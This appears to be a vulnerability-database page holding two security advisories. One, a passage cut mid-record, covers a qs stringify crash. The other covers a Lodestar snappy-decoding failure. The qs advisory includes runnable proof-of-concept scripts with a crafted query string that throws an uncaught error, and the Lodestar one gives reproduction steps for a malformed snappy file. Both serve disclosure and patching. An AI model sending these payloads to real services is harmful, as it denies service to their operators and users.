  "details": "### Summary\n\n`qs.stringify()` calls `utils.isBuffer()` on every value it serializes, and `utils.isBuffer()` invokes `obj.constructor.isBuffer(obj)` without checking that it is callable. A value whose own `constructor.isBuffer` is a non-function makes `qs` call a non-callable and throw `TypeError`. Such a value is produced **by `qs.parse` itself** from an untrusted query string when `plainObjects: true` or `allowPrototypes: true` is set, so a pure-`qs` `parse` \u2192 `stringify` round-trip \u2014 no `JSON.parse` \u2014 turns an unauthenticated query string into an uncaught throw.\n\nAn attacker-controlled `parse` input reaches the host application\u0027s availability asset \u2014 via `qs`\u0027s own recommended `plainObjects` mitigation \u2014 and triggers an uncaught exception during a `parse` \u2192 `stringify` round-trip.\n\n### Details\n`utils.isBuffer` runs at `lib/stringify.js:127` for every serialized value:\n\n```js\nif (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }\n```\n\n`utils.isBuffer` (`lib/utils.js:327-333`) invokes `obj.constructor.isBuffer` without verifying it is callable:\n\n```js\nvar isBuffer = function isBuffer(obj) {\n    if (!obj || typeof obj !== \u0027object\u0027) { return false; }\n    return !!(obj.constructor \u0026\u0026 obj.constructor.isBuffer \u0026\u0026 obj.constructor.isBuffer(obj));\n};\n```\n\n`constructor` and `isBuffer` are ordinary keys. `qs.parse` with `plainObjects: true` or `allowPrototypes: true` keeps them as own properties, so the parsed value carries a non-function `constructor.isBuffer`; `stringify` then calls a non-callable and throws `TypeError`. By contrast `utils.isRegExp` uses a brand check (`Object.prototype.toString`); the missing guard here is an internal inconsistency, not a platform limitation.\n\n\n### Trust Boundary Note\n\n`qs.stringify` alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by **`qs.parse`, whose input is untrusted by design**. `qs.parse` normally strips a `constructor` key via its prototype guard, but with the documented options `plainObjects: true` or `allowPrototypes: true` the key survives and lands as an own property. Feeding the parsed object back into `qs.stringify` \u2014 the standard round-trip in gateways and request-forwarders \u2014 then hits the unchecked call. \n\n\n### PoC\n`poc02c_isBuffer_qs_only_roundtrip.js` \u2014 pure-`qs` chain, no `JSON.parse`; an untrusted query string alone reaches the throw:\n\n```js\n\u0027use strict\u0027;\nvar qs = require(\u0027qs\u0027);\n\nvar untrustedQueryString = \u0027x%5Bconstructor%5D%5BisBuffer%5D=y\u0027; // x[constructor][isBuffer]=y\n\nvar parsed = qs.parse(untrustedQueryString, { plainObjects: true });\nconsole.log(\u0027[parse] kept constructor key:\u0027, JSON.stringify(parsed));\n\ntry {\n    qs.stringify(parsed);\n    console.log(\u0027[stringify] no throw (unexpected)\u0027);\n} catch (e) {\n    console.log(\u0027[stringify] DoS reproduced -\u003e\u0027, e.constructor.name + \u0027:\u0027, e.message);\n}\n```\n\n`poc02_isBuffer.js` \u2014 the minimal defect:\n\n```js\n\u0027use strict\u0027;\nvar qs = require(\u0027qs\u0027);\ntry {\n    qs.stringify(JSON.parse(\u0027{\"a\":{\"constructor\":{\"isBuffer\":\"x\"}}}\u0027));\n} catch (e) {\n    console.log(\u0027[A] DoS reproduced -\u003e\u0027, e.constructor.name + \u0027:\u0027, e.message);\n}\n```\n\n`poc02b_isBuffer_async_crash.js` \u2014 worker death in an async sink:\n\n```js\n\u0027use strict\u0027;\nvar qs = require(\u0027qs\u0027);\n\nfunction handleRequestAsync(clientJsonBody) {\n    try {\n        setImmediate(function () {                 // async continuation, outside the try\n            qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught\n        });\n        console.log(\u0027[handler] returned 200 synchronously; async work scheduled\u0027);\n    } catch (e) {\n        console.log(\u0027[handler] caught synchronously (will NOT happen):\u0027, e.message);\n    }\n}\nprocess.on(\u0027exit\u0027, function (code) {\n    console.log(\u0027[proc] process exiting with code:\u0027, code);\n});\nhandleRequestAsync(\u0027{\"filters\":{\"constructor\":{\"isBuffer\":\"x\"}}}\u0027);\n```\n\n### Execution Steps\n\n```bash\ncd poc\nnpm install qs@6.15.3\nnode poc02c_isBuffer_qs_only_roundtrip.js  # pure qs parse-\u003estringify -\u003e TypeError\nnode poc02_isBuffer.js                      # minimal defect -\u003e TypeError inside stringify\nnode poc02b_isBuffer_async_crash.js         # async sink -\u003e uncaught throw -\u003e exit code 1\n```\n\n### Reproduction Evidence\n\n`poc02c_isBuffer_qs_only_roundtrip.js` :\n\n```\n[parse] kept constructor key: {\"x\":{\"constructor\":{\"isBuffer\":\"y\"}}}\n[stringify] DoS reproduced -\u003e TypeError: obj.constructor.isBuffer is not a function\n```\n\n`poc02_isBuffer.js`:\n\n```\n[A] DoS reproduced -\u003e TypeError: obj.constructor.isBuffer is not a function\n```\n\n`poc02b_isBuffer_async_crash.js` :\n\n```\n[handler] returned 200 synchronously; async work scheduled\n[proc] process exiting with code: 1\nTypeError: obj.constructor.isBuffer is not a function\n    at Object.isBuffer (.../qs/lib/utils.js:332:78)\n    at stringify (.../qs/lib/stringify.js:127:45)\n=== EXIT CODE: 1 ===\n```\n\nThe pure-`qs` round-trip shows the malicious shape originates from `qs.parse` of an untrusted query string, with no `JSON.parse`. The synchronous `try/catch` in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.\n\n### Impact\n\nAn unauthenticated request degrades any endpoint that re-serializes deserialized client data with `qs.stringify`. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application\u0027s error handling, not on `qs`.\n\n### Recommended Fix\n\nReplace the duck-type with a brand check mirroring `utils.isRegExp`:\n\n```js\nvar isBuffer = function isBuffer(obj) {\n    if (!obj || typeof obj !== \u0027object\u0027) { return false; }\n    if (typeof Buffer !== \u0027undefined\u0027 \u0026\u0026 typeof Buffer.isBuffer === \u0027function\u0027) {\n        return Buffer.isBuffer(obj);\n    }\n    return Object.prototype.toString.call(obj) === \u0027[object Uint8Array]\u0027;\n};\n```\n\nIf duck-typing must remain, require `typeof obj.constructor.isBuffer === \u0027function\u0027` before invoking and wrap the call in `try/catch`.",
  "id": "GHSA-4mjr-xmp4-gh2g",
  "modified": "2026-09-02T14:45:13Z",
  "published": "2026-09-02T14:45:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/security/advisories/GHSA-4mjr-xmp4-gh2g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82417"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/commit/e83d321ffafb38cf210683ac31714fce6ce1c6c6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ljharb/qs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "qs: Denial of Service via Attacker Controlled isBuffer"
}

GHSA-53RV-HCVM-RPP9

Vulnerability from github – Published: 2025-01-14 22:03 – Updated: 2025-01-14 22:03
VLAI
Summary
Lodestar snappy decompression issue
Details

Impact

Unintended permanent chain split affecting greater than or equal to 25% of the network, requiring hard fork (network partition requiring hard fork)

Description

Lodestar client may fail to decode snappy framing compressed messages.

Vulnerability Details

In Req/Resp protocol the message are encoded by using ssz_snappy encoding, which is basically snappy framing compression over ssz encoded message.

It's mentioned here - https://github.com/ethereum/consensus-specs/blob/dev/specs/phase0/p2p-interface.md

The token of the negotiated protocol ID specifies the type of encoding to be used for the req/resp interaction. Only one value is possible at this time:

ssz_snappy: The contents are first SSZ-encoded and then compressed with Snappy frames compression. For objects containing a single field, only the field is SSZ-encoded not a container with a single field. For example, the BeaconBlocksByRoot request is an SSZ-encoded list of Root's. This encoding type MUST be supported by all clients.

In snappy framing format there a few types of chunks. We are interested in so called reserved skippable chunks. These are chunks with chunk type in range [0x80, 0xfd] Let's see how rust snappy handles them https://github.com/BurntSushi/rust-snappy/blob/master/src/read.rs#L137

impl<R: io::Read> io::Read for FrameDecoder<R> {
    fn read(&mut self, buf: &mut [u8]) -> io::Result<usize> {
           ... 
           ...
            let len = len64 as usize;
            match ty {
                Err(b) if 0x02 <= b && b <= 0x7F => {
                    // Spec says that chunk types 0x02-0x7F are reserved and
                    // conformant decoders must return an error.
                    fail!(Error::UnsupportedChunkType { byte: b });
                }
                Err(b) if 0x80 <= b && b <= 0xFD => {
                    // Spec says that chunk types 0x80-0xFD are reserved but
                    // skippable.
                    self.r.read_exact(&mut self.src[0..len])?;
                }

Similar code can be found in golang implementation - https://github.com/golang/snappy/blob/master/decode.go#L221

func (r *Reader) fill() error {
    ...
    if chunkType <= 0x7f {
            // Section 4.5. Reserved unskippable chunks (chunk types 0x02-0x7f).
            r.err = ErrUnsupported
            return r.err
        }
        // Section 4.4 Padding (chunk type 0xfe).
        // Section 4.6. Reserved skippable chunks (chunk types 0x80-0xfd).
        if !r.readFull(r.buf[:chunkLen], false) {
            return r.err
        }

Now let's see how lodestar handles such chunks https://github.com/ChainSafe/lodestar/blob/unstable/packages/reqresp/src/encodingStrategies/sszSnappy/snappyFrames/uncompress.ts#L17

uncompress(chunk: Uint8ArrayList): Uint8ArrayList | null {
    this.buffer.append(chunk);
    const result = new Uint8ArrayList();
    while (this.buffer.length > 0) {
      if (this.buffer.length < 4) break;

      const type = getChunkType(this.buffer.get(0));
      const frameSize = getFrameSize(this.buffer, 1);

      if (this.buffer.length - 4 < frameSize) {
        break;
      }

      const data = this.buffer.subarray(4, 4 + frameSize);
      this.buffer.consume(4 + frameSize);

      if (!this.state.foundIdentifier && type !== ChunkType.IDENTIFIER) {
        throw "malformed input: must begin with an identifier";
      }

      if (type === ChunkType.IDENTIFIER) {
        if (!Buffer.prototype.equals.call(data, IDENTIFIER)) {
          throw "malformed input: bad identifier";
        }
        this.state.foundIdentifier = true;
        continue;
      }

      if (type === ChunkType.COMPRESSED) {
        result.append(uncompress(data.subarray(4)));
      }
      if (type === ChunkType.UNCOMPRESSED) {
        result.append(data.subarray(4));
      }
    }
    if (result.length === 0) {
      return null;
    }
    return result;
  }

 function getChunkType(value: number): ChunkType {
  switch (value) {
    case ChunkType.IDENTIFIER:
      return ChunkType.IDENTIFIER;
    case ChunkType.COMPRESSED:
      return ChunkType.COMPRESSED;
    case ChunkType.UNCOMPRESSED:
      return ChunkType.UNCOMPRESSED;
    case ChunkType.PADDING:
      return ChunkType.PADDING;
    default:
      throw new Error("Unsupported snappy chunk type");
  }

As you can see, lodestar does not recognize such chunks.

If it sees such chunk, function getChunkType() throws an exception and decoding fails.

Impact Details

Faulty nodes may trigger chain stall by sending messages which lodestar fails to parse, while other clients will be able to handle.

Proof of Concept

How to reproduce:

  1. get archive (via provided gist link), decode and unpack it:
$ base64 -d poc.txt > poc.tgz
$ tar zxf poc.tgz
  1. run dec1.go to verify that our snappy file decompressed successfully
$ go run dec1.go

reading 1.snappy...
read 124 bytes, err <nil>
  1. run dec1.mjs to verify that lodestar fails to decode such file
checking chunk type=255
checking chunk type=1
got uncompressed chunk..
checking chunk type=129
file:///../poc/dec1.mjs:74
            throw new Error("Unsupported snappy chunk type");
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@lodestar/reqresp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.25.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-14T22:03:59Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Impact\nUnintended permanent chain split affecting greater than or equal to 25% of the network, requiring hard fork (network partition requiring hard fork)\n\n### Description\nLodestar client may fail to decode snappy framing compressed messages.\n\n### Vulnerability Details\nIn Req/Resp protocol the message are encoded by using ssz_snappy encoding, which is basically snappy framing compression over ssz encoded message.\n\nIt\u0027s mentioned here - https://github.com/ethereum/consensus-specs/blob/dev/specs/phase0/p2p-interface.md\n\n```\nThe token of the negotiated protocol ID specifies the type of encoding to be used for the req/resp interaction. Only one value is possible at this time:\n\nssz_snappy: The contents are first SSZ-encoded and then compressed with Snappy frames compression. For objects containing a single field, only the field is SSZ-encoded not a container with a single field. For example, the BeaconBlocksByRoot request is an SSZ-encoded list of Root\u0027s. This encoding type MUST be supported by all clients.\n```\n\nIn snappy framing format there a few types of chunks.\nWe are interested in so called reserved skippable chunks. These are chunks with chunk type in range [0x80, 0xfd]\nLet\u0027s see how rust snappy handles them https://github.com/BurntSushi/rust-snappy/blob/master/src/read.rs#L137\n\n```\nimpl\u003cR: io::Read\u003e io::Read for FrameDecoder\u003cR\u003e {\n    fn read(\u0026mut self, buf: \u0026mut [u8]) -\u003e io::Result\u003cusize\u003e {\n \t\t   ... \n           ...\n  \t\t    let len = len64 as usize;\n            match ty {\n                Err(b) if 0x02 \u003c= b \u0026\u0026 b \u003c= 0x7F =\u003e {\n                    // Spec says that chunk types 0x02-0x7F are reserved and\n                    // conformant decoders must return an error.\n                    fail!(Error::UnsupportedChunkType { byte: b });\n                }\n                Err(b) if 0x80 \u003c= b \u0026\u0026 b \u003c= 0xFD =\u003e {\n                    // Spec says that chunk types 0x80-0xFD are reserved but\n                    // skippable.\n                    self.r.read_exact(\u0026mut self.src[0..len])?;\n                }\n```\n\nSimilar code can be found in golang implementation - https://github.com/golang/snappy/blob/master/decode.go#L221\n\n```\nfunc (r *Reader) fill() error {\n\t...\n\tif chunkType \u003c= 0x7f {\n\t\t\t// Section 4.5. Reserved unskippable chunks (chunk types 0x02-0x7f).\n\t\t\tr.err = ErrUnsupported\n\t\t\treturn r.err\n\t\t}\n\t\t// Section 4.4 Padding (chunk type 0xfe).\n\t\t// Section 4.6. Reserved skippable chunks (chunk types 0x80-0xfd).\n\t\tif !r.readFull(r.buf[:chunkLen], false) {\n\t\t\treturn r.err\n\t\t}\n```\n\nNow let\u0027s see how lodestar handles such chunks https://github.com/ChainSafe/lodestar/blob/unstable/packages/reqresp/src/encodingStrategies/sszSnappy/snappyFrames/uncompress.ts#L17\n\n```\nuncompress(chunk: Uint8ArrayList): Uint8ArrayList | null {\n    this.buffer.append(chunk);\n    const result = new Uint8ArrayList();\n    while (this.buffer.length \u003e 0) {\n      if (this.buffer.length \u003c 4) break;\n\n      const type = getChunkType(this.buffer.get(0));\n      const frameSize = getFrameSize(this.buffer, 1);\n\n      if (this.buffer.length - 4 \u003c frameSize) {\n        break;\n      }\n\n      const data = this.buffer.subarray(4, 4 + frameSize);\n      this.buffer.consume(4 + frameSize);\n\n      if (!this.state.foundIdentifier \u0026\u0026 type !== ChunkType.IDENTIFIER) {\n        throw \"malformed input: must begin with an identifier\";\n      }\n\n      if (type === ChunkType.IDENTIFIER) {\n        if (!Buffer.prototype.equals.call(data, IDENTIFIER)) {\n          throw \"malformed input: bad identifier\";\n        }\n        this.state.foundIdentifier = true;\n        continue;\n      }\n\n      if (type === ChunkType.COMPRESSED) {\n        result.append(uncompress(data.subarray(4)));\n      }\n      if (type === ChunkType.UNCOMPRESSED) {\n        result.append(data.subarray(4));\n      }\n    }\n    if (result.length === 0) {\n      return null;\n    }\n    return result;\n  }\n\n function getChunkType(value: number): ChunkType {\n  switch (value) {\n    case ChunkType.IDENTIFIER:\n      return ChunkType.IDENTIFIER;\n    case ChunkType.COMPRESSED:\n      return ChunkType.COMPRESSED;\n    case ChunkType.UNCOMPRESSED:\n      return ChunkType.UNCOMPRESSED;\n    case ChunkType.PADDING:\n      return ChunkType.PADDING;\n    default:\n      throw new Error(\"Unsupported snappy chunk type\");\n  }\n```\n\nAs you can see, lodestar does not recognize such chunks.\n\nIf it sees such chunk, function getChunkType() throws an exception and decoding fails.\n\n### Impact Details\n\nFaulty nodes may trigger chain stall by sending messages which lodestar fails to parse, while other clients will be able to handle.\n\n### Proof of Concept\n\nHow to reproduce:\n\n1. get archive (via provided [gist link](https://gist.github.com/gln7/bdde7f4e0bdf9d47bf810a015796867a)), decode and unpack it:\n```\n$ base64 -d poc.txt \u003e poc.tgz\n$ tar zxf poc.tgz\n```\n\n2. run dec1.go to verify that our snappy file decompressed successfully\n```\n$ go run dec1.go\n\nreading 1.snappy...\nread 124 bytes, err \u003cnil\u003e\n```\n\n3. run dec1.mjs to verify that lodestar fails to decode such file\n```\nchecking chunk type=255\nchecking chunk type=1\ngot uncompressed chunk..\nchecking chunk type=129\nfile:///../poc/dec1.mjs:74\n            throw new Error(\"Unsupported snappy chunk type\");\n```\n",
  "id": "GHSA-53rv-hcvm-rpp9",
  "modified": "2025-01-14T22:03:59Z",
  "published": "2025-01-14T22:03:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ChainSafe/lodestar/security/advisories/GHSA-53rv-hcvm-rpp9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ChainSafe/lodestar/commit/18a0d681dbcc51fb2ac9456f31e91f4e31a18300"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ChainSafe/lodestar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Lodestar snappy decompression issue"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.